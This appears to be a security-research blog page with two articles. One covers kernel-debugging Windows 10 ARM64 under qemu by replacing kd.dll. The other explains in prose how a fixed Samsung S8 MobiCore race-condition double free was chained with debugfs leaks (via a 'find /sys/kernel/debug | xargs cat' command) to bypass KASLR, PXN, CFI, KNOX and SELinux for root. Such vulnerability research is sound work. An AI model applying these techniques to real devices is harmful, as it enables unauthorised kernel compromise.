  今年6月,微软联合一线笔记本厂商正式发布了搭载高通骁龙处理器的Windows 10笔记本产品。作为主角的Win10 ARM64,自然亮点无数,对PC设备厂商也是各种利好。实际上,为了与厂商同步发布安全防护产品,IceswordLab的小伙伴早已将底层驱动程序集移植到了Win10 ARM64平台上,笔者也因此积累了一些有趣的内核调试方法。在x86平台使用vmware等虚拟机软件搭建远程内核调试环境是非常方便有效的办法,但目前Win10 ARM64平台没有这样的虚拟机软件,于是笔者利用qemu模拟器DIY一个。

0x0 准备试验环境

物理机系统环境 :Windows10 RS4 x64
虚拟化软件qemu : qemu-w64-setup-20180519.exe
虚拟机系统环境 :Windows10 RS4 ARM64
UEFI 模块 : Linaro 17.08 QEMU_EFI.fd
WINDBG :WDK10 (amd64fre-rs3-16299)附带的WinDBG

0x1 qemu远程内核调试开启失败

  在qemu环境下,我们使用Linaro.org网站提供的针对QEMU(AARCH64)的1708版的UEFI文件QEMU_EFI.fd启动Win10ARM64的系统,并使用bcdedit修改qemu模拟器里的Win10ARM64的启动配置以实现远程内核调试。配置如下图,

我们遇到了两个问题:
(1) 以“-serial pipe:com_1”参数启动qemu模拟器,qemu会被卡住,导致虚拟机系统无法启动;
(2)无论是否开启了基于串口的远程内核调试,系统内核加载的都是kd.dll而非预期的kdcom.dll;

对于问题(1),我们利用qemu串口转发功能,开发一个代理程序:建立一个namedpipe等待windbg的连接,并建立与qemu串口socket服务器的连接,从而实现将pipe上读取(ReadFile)的数据写入(send)到socket、将socket上读取(recv)的数据写入(WriteFile)到pipe。如此我们解决了问题(1)。
至于问题(2),对比VMWare里用UEFI方式部署的Win10RS4x64,不开启内核调试时系统加载的是kd.dll,开启内核调试时系统加载的是kdcom.dll,下面对其进一步分析。

0x2 系统提供的kdcom.dll存在问题

  在Win10RS4ARM64安装镜像的预置驱动里,无法找到serial.sys这个经典的串口驱动;而Win10ARM64笔记本的串口设备是存在的,且串口驱动是高通官方提供的。实际上通过串口远程调试windows,系统正常的启动过程中,调试子系统的初始化是早先于串口驱动程序,调试子系统调用kdcom.dll提供的功能,并不需要串口驱动程序的支持。因此微软没有为Win10RS4ARM64提供串口驱动serial.sys,对我们最终的目标没有影响。

那么问题究竟出在哪里呢?是因为Loader所使用的Qemu中的UEFI有问题吗?

对照qemu的源码可知,qemu为aarch64模拟器环境提供了串口设备PL011。我们研究了Linaro UEFI的源码EDK2并编译了对应的UEFI文件,确保使用的UEFI文件确实提供了串口功能。再用与Win10ARM64模拟器同样的配置安装了Ubuntu for ARM,在这个模拟器里PL011串口通信正常,串口采用MMIO,其映射的基址为0x09000000。但安装Win10后问题依旧:以基于串口的远程内核调试的启动配置来启动Win10RS4ARM64,系统加载的是kd.dll而非期望的kdcom.dll,故而推测是winload 没有识别PL011串口设备、没能去加载kdcom.dll。由此,我们决定直接将kdcom.dll替换kd.dll来使用。不过使用kdcom.dll替换kd.dll后出现了新的问题——系统引导异常,下面进一步分析其原因。

kdcom!KdCompInitialize是串口初始化的关键函数,分析它是如何初始化并使用串口设备的。系统第一次调用kdcom!KdInitialize初始化串口时,传递给KdCompInitialize的第二个参数LoaderBlock是nt!KeLoaderBlock,非NULL,此时kdcom!KdCompInitialize里的关键流程如下:
(1) HalPrivateDispatchTable->KdEnumerateDebuggingDevices已被赋值为hal!HalpKdEnumerateDebuggingDevices,调用返回0xC0000001;
(2) 串口处理器UartHardwareDriver为NULL,没有被赋值;
(3) HalPrivateDispatchTable->KdGetAcpiTablePhase0已被赋值为hal!HalAcpiGetTable,
调用HalAcpiGetTable(loaderBlock, ‘2GBD’)返回NULL,
调用HalAcpiGetTable(loaderBlock, ‘PGBD’)返回NULL,
因此gDebugPortTable为NULL;
(4) 参数LoaderBlocker非NULL且gDebugPortTable为NULL,调用GetDebugAddressFromComPort来配置串口地址;
GetDebugAddressFromComPort调用nt!KeFindConfigurationEntry失败,按照既定策略,基于DebugPortId的值指派串口地址(DebugPort.Address)为0x3F8/0x2F8/0x3E8/0x2E8/0x00五者之一;
(5) 由于gDebugPortTable为NULL,串口处理器UartHardwareDriver赋值为Uart16550HardwareDriver;
由于串口地址(DebugPort.Address)非NULL,调用串口初始化函数UartHardwareDriver->InitializePort初始化串口;
模拟器提供的串口设备为PL011, 串口处理器应被赋值为是PL011HardwareDriver 而非Uart16550HardwareDriver;

至此,我们发现导致异常的原因: 模拟器提供的是PL011串口设备, kdcom.dll虽提供了支持PL011的代码,但未能正确识别适配,依然把它当成了PC的isa-serial串口设备。这应属于kdcom.dll的bug。

0x3 开启qemu远程内核调试

  现在看来,我们需要解决的问题有两个:系统Loader仅加载不支持远程内核调试的kd.dll,系统模块kdcom.dll没能完全支持PL011串口设备。

对于第一个问题,我们简单采取文件替换的办法绕过它。
对于第二个问题,预期可以使用这样的办法解决:开发一个boot类型的驱动,让它能够加载kdcom.dll并主动修正kdcom.dll中所有相关数据,对内核映像Ntoskrnl.exe执行IATHook——把导入地址表中的kd.dll函数地址全部替换成kdcom.dll对应函数地址,最后执行nt!KdInitSystem来初始化调试子系统。这种方案篡改内核数据后,会很快触发PatchGuard蓝屏,因此我们需要设计出一个更可用的方案。

我们可以开发一个能够实现远程内核调试所需的串口通信功能的dll(即没有BUG的kdcom.dll)来替换系统目录下kd.dll,在“禁用驱动程序强制签名”的场景下实现对操作系统初始化流程的劫持。

微软给WINDBG的安装包捆入了一个名为KdSerial的示例项目。这个项目缺少了一些代码,但是关键的部分都在。通过笔者的改造,成功编译得到一个kdserial.dll,它拥有远程内核调试所需的串口通信功能和正确的PL011串口配置,能够替代Win10ARM64RS4系统里的kdcom.dll。将这个kdserial.dll替换系统里的kd.dll,开机时选择“启动设置”菜单里的“禁止驱动程序强制签名”,达成远程内核调试Win10RS4ARM64的目标。

参考文献

[1] Windows Internals 6th
[2] https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--dbgsettings
[3] https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcd-boot-options-reference
[4] https://wiki.linaro.org/LEG/UEFIforQEMU
[5] https://blog.csdn.net/iiprogram/article/details/2298550

利用一个竞态漏洞root三星s8的方法

author : zjq(@spinlock2014) of IceSword Lab , Qihoo 360


  在安卓阵营中,三星手机可以说是最重视安全的了,各种mitigation技术都是早于官方系统应用到自己手机上,并且加入了KNOX技术,在内核层设置了重重校验,提高了手机root难度。17年下半年,研究过一段时间三星手机s8的内核安全问题,发现了一些比较有意思的漏洞。本文中,将介绍一个race condition漏洞,利用此漏洞绕过KALSR,PXN,CFI,KNOX2.8等拿到了s8内核root权限。目前这些漏洞都已经被修复。

0x0 MobiCore驱动的提权漏洞 回页首

  在MobiCore驱动中,ioct的MC_IO_GP_REGISTER_SHARED_MEM接口会从slab中分配一块cwsm buffer,MC_IO_GP_RELEASE_SHARED_MEM接口用来释放cwsm buffer和相关资源。但是在释放过程中,由于没有加锁,存在race condition进而导致double free的可能:

  看此函数的实现,首先从链表中查找获取该内存块,并将引用计数加1以持有该cwsm buffer。然后通过连续两个cwsm_put函数减去引用计数并释放cwsm buffer。cwsm_put的实现是引用计数减1,然后检查引用计数是否为0,如果为0,则执行cwsm_release函数释放cwsm,如下所示:

  正常情况下,创建该buffer时引用计数被设为1,cwsm_find查找该buffer时引用计数加1,第一个cwsm_put调用减去cwsm_find持有的引用计数,然后第二个cwsm_put将引用计数减为0,并调用cwsm_release释放资源。
但在client_gp_release_shared_mem函数中,由于cwsm_find和两个cwsm_put之间并未加锁保护,使获取cwsm和释放cwsm不是原子操作,当race condition发生时,多个线程在cwsm被释放前调用cwsm_find获取该buffer后,接下来的多次cwsm_put调用则可以触发对cwsm的double free。

  我们再看cwsm_release这个函数,还是比较复杂的:

其中,cwsm的结构为:

  仔细分析cwsm_release函数,我们会发现,这个函数中当race condition发生时, tee_mmu_delete(cwsm->mmu) 会造成cwsm->mmu 的double free, client_put(client) 会造成cwsm->client的double free,最后kfree(cwsm) 也会造成cwsm的double free。三个大小不一的slab内存块同时double free,极易引起内核崩溃,除非我们在cwsm第一次被释放后占住该内存,从而控制内存中内容,改变第二次执行此函数中的流程。而list_del_init(&cwsm->list)这一句:


如果我们可以控制cwsm的内容,也就是list->next 和list->prev指针的值,则可以做成一个任意地址写。

0x1 利用方案 回页首

  从client_gp_release_shared_mem函数中可以看到,调用cwsm_find获得buffer和调用cwsm_put释放buffer时间间隙极小,如何能提高race condition的成功率,有效控制指针,并能尽可能的降低崩溃率呢?通过对slab中内存分配释放机制的分析,主要采用了几下几个方法:

  1. 如何增加race condition成功率呢?kmalloc在slab中分配内存块会记录下本线程所在核,kfree释放内存时,如果判断当前线程所在核与分配内存时的所在核一致,则将内存释放到快速缓存链表freelist中,这样当其他线程分配相同大小的内存块时能快速取到,这样可以增加释放后马上占位的成功率;如果释放时判断当前线程所在核与分配内存时的所在核不一致,则将内存释放到page->freelist中,当其他线程分配内存时,缓存链表中内存耗尽后,才会从此链表中取用,因为时间间隙很小,这会降低占位成功率。所以分配slab内存,释放内存,占位内存的线程最好在同一个核上。假设有0,1,2三个核,线程A在0核上分配了buffer,线程B在0核上释放buffer,同时为了制造race condition需要线程C在1核上释放buffer,同时线程D在0核上,可以调用add_key系统调用来占用线程B释放掉的内存块,并填上我们需要的内容。当然这实际调试中,因为race condition间隙很小,可能需要几个甚至几十几百个线程同时操作来增加成功率。同时,因为race condition间隙很小,可以在0核上增加大量打酱油线程,使其在race condition间隙中获得调用机会,以增大时间间隙,提高占位的成功率;
  2. 我们在cwsm double free的第一次释放后将其占住,那么就可以控制其中的内容,填上我们需要的值,因此我们可以将cwsm->list.next设为一个内核地址,利用list_del_init(&cwsm->list)再调用__list_del,可以实现内核地址写,比如将ptmx->check_flags 设置为我们需要的函数指针;
  3. 当race condition发生时,多个线程调用cwsm_release时,大小不同的slab块cwsm->mmu,cwsm->client和cwsm都会被重复释放,在此情况下,内核大概率会崩。因此,当cwsm第一次释放,我们占住后,需要将cwsm->client和cwsm->mmu填上合适的值,防止内核崩溃。我们先看client_put(client) 函数:

  这个函数首先引用计数client->kref减1,如果为0,则调用client_release释放资源。因此我们可以将client->kref设为大于1的值,防止cwsm->client被二次释放。
再看tee_mmu_delete(cwsm->mmu),这一句比较麻烦,它将调用mmu_release函数,看内部实现(片段):

可以看到,mmu_release 不仅要释放mmu,并且要引用mmu中指针。如果我们能控制cwsm->mmu,那么我们必须将cwsm->mmu设为一个合法的slab地址,并且能够控制这个slab中的内容,否则系统将崩溃。幸运的是,我们找到了一个信息泄露漏洞:

/sys/kernel/debug/ion/event文件将泄露ion中分配的ion_buffer的地址。我们可以利用ion接口分配大量ion_buffer,然后在泄露的地址中查找到连续8k大小(cwsm->mmu的大小)的ion_buffer内存。然后在ion中占住这一块内存不释放,将其地址填到cwsm->mmu中,使mmu_release释放此内存块,但因为我们在ion中此内存占住不释放不使用,所以即使被别人重新获得,也可避免内核崩溃。

0x2 Bypass KALSR 回页首

Android 8.0之后安卓手机普遍启用了内核地址随机化,而三星手机启用的要更早一些。此漏洞本身泄露内核地址比较困难,所以还需要一个信息泄露漏洞。debugfs 文件系统一直是比较容易出问题的,我们尝试着用简单指令测试了一下:find /sys/kernel/debug | xargs cat,片刻之后,屏幕上打印出了如下信息:

经过分析,这是/sys/kernel/debug/tracing/printk_formats文件所泄露出来的地址,有些函数地址,比如dpm_suspend,此地址加上一个固定的偏移量即可得到内核启动后的真实函数地址。经过fuzz发现,类似的信息泄露不止一处。

0x3 Bypass PXN && CFI 回页首

我们曾在16年mosec会议上介绍过几种过PXN方法。其中一个方法是,将函数指针kernel_setsockopt覆盖到ptmx_fops->check_flags,然后通过控制第一个参数跳转,绕过set_fs(oldfs)语句,当函数执行完,本进程addr_limit被设为0xffffffffffffffff,此时我们可以在用户态通过一些系统调用直接读写内核数据。

然而在s8上使用此方法时确出现了系统崩溃,仔细检查s8的kernel_sock_ioctl汇编代码时,发现跳转指令改变了,跳转到寄存器的指令改成的直接跳转到固定地址0xffffffc000c56f6c的指令:

下面看看跳转到0xffffffc000c56f6c这个地址干了些什么:

如上代码,实际上是对跳转地址做了检查,如果跳转到的地址的上一条语句是0x00be7bad,则认为是合法地址,执行跳转,如果不是则认为是非法地址,执行一条非法语句导致内核崩溃。为什么必须要上一条语句是0x00be7bad呢?原来s8在编译时每一个函数结尾都加上了一句0x00be7bad作为标记,如果上一条语句是0x00be7bad,则表明这个地址是函数的起始地址,否则不是。也就是说,在每一个跳转到寄存器地址之前都要检查地址是否为函数的起始地址,否则非法。
虽然此路不通,但是另外一个办法还是可以的。我们找到了一个比较好用的bug,在s2mm005_flash函数中有一个代码片段:

文件CCIC_DEFAULT_UMS_FW定义为:”/sdcard/Firmware/usbpd/s2mm005.bin”,由于此文件并不存在,当调用到此代码时,filp_open将返回错误,跳到done返回。可以看到错误处理中并没有恢复addr_limit。也就是当调用此函数失败时,本进程将得到读写内核的权限。
当然上面这个办法有赖于这个简单的bug,在错误处理中漏掉了set_fs(old_fs)的操作。如果没有这种bug怎么办呢?还是有办法的,我们在内核中找到了这样的函数:

将此函数地址,利用漏洞覆盖掉ptms_fops-> check_flags指针,当我们调用check_flags时,可以控制第一个入参,那么合理设置参数内容,可以达到读写内核的目的。

0x4 KNOX2.8 && SELinux 回页首

三星手机为了提高手机安全性,加入了KNOX,使内核利用难度大大加强。这里简单介绍一下KNOX2.8在内核中主要实现的特性:

  1. 与root相关的关键数据,比如cred,页表项等需要在特定内存中分配,此内存中通用cpu端被设为只读,当需要修改时,则发送指令通过TrustZone进行修改;

  2. 在调用rkp_call让TrustZone执行命令时,TrustZone同样将对数据完整性进行校验,比如commit_creds函数在创建cred后,调用rkp_call时,TrustZone会检查本进程credential是否在只读内存区,检查本进程id是否大于1000,如果大于1000则不能将新创建的credential修改为小于1000的值,这也使得通过调用rkp_override_creds来修改credential用户id的办法不再有效;

  3. 在SELinux原有权限管理基础上,增加了额外的完整性校验,这几乎影响所有系统调用接口。以open系统调用为例,当打开CONFIG_RKP_KDP配置项时,增加了security_integrity_current的校验:


    可以看到,在security_integrity_current这个函数里,将校验:进程描述符中cred和security是否在只读内存区分配,bp_cred与cred是否一致(防止被修改),bp_task是否就是本进程,mm->pgd和cred->bp_pgd是否一致,current->nsproxy->mnt_ns->root和current->nsproxy->mnt_ns->root->mnt->bp_mount是否一致。如果其中某一项关键数据被修改而导致检验不通过,则导致系统产生panic,并打印出错误信息;

  4. 在load_elf_binary -> flush_old_exec函数中增加校验,如果进程为id小于1000,为内核进程,并且load的二进制文件及不再”/”目录又不在”/system”目录下则内核panic。

    这使得利用用户态调用__orderly_poweroff函数在内核中创建内核线程的方法将被阻止;KNOX还在内核其他地方加入了大量的检验。

KNOX的加入,使得以前常用的一些修改credential 用户id去root办法都比较难办了。随着KNOX版本的迭代,势必会对内核的保护越来越强化。但是就笔者当时研究的KNOX2.8而言,依然还有一些弱点可供利用,进而拿到root权限,读写高权限文件,起内核shell等。

前面提到,KNOX限制root的一个措施就是在大部分系统调用中,都会进行数据完整性校验,如果我们将进程credential修改非只读区,则会校验失败。这些校验函数都是挂接在全局变量security_hook_heads下面,比如open系统调用会调用security_hook_heads下挂的file_open钩子函数,最后调用到selinux_file_open进行权限和数据完整性校验。但是security_hook_heads这个全局变量却是可读写的,我们可以利用漏洞读写内核,将此变量下面挂的钩子函数有选择的设置为NULL,不仅可以绕过该校验,还可以绕过SELinux的检查。比如,我们可以把本进程credential设置为替换为一块可读写内存,将id修改为root用户,同时将和读写相关的校验函数设为NULL。这样可以用root用户稳定的读写系统中高权限文件。进行其他操作时,也可以通过禁用相关校验函数绕过校验,当然这种方法有些简单粗暴,需要小心使用,因为这些校验函数有些和系统耦合紧密,如果不小心很容易引起系统crash,操作完成后应该尽快恢复。在KNOX之前版本中,有研究员曾经通过调用__orderly_poweroff函数,可以利用内核起一个root进程,绕过了commit_creds中的校验,但是KNOX2.8中在load_elf_binary中增加了对用户id和binary路径的校验。然而我们发现,虽然load_elf_binary增加了此校验,但是load_script中却没有加上这个校验,这就意味着,虽然我们不能在内核中加载自己的binary,但是可以起一个root脚本进程,在脚本中进行我们需要的操作。

总结: 回页首

本文介绍了如何利用一个s8中race condition驱动漏洞,一步步绕过KALSR,PXN,CFI,KNOX2.8等mitigation机制,拿到root权限,读写高权限文件,并在内核中起一个shell进程。三星在内核加固方面下了很大功夫,KNOX的引入显著提高了root的难度,随着后面版本的不断迭代,对内核的加固会越来越强,值得持续的跟踪研究。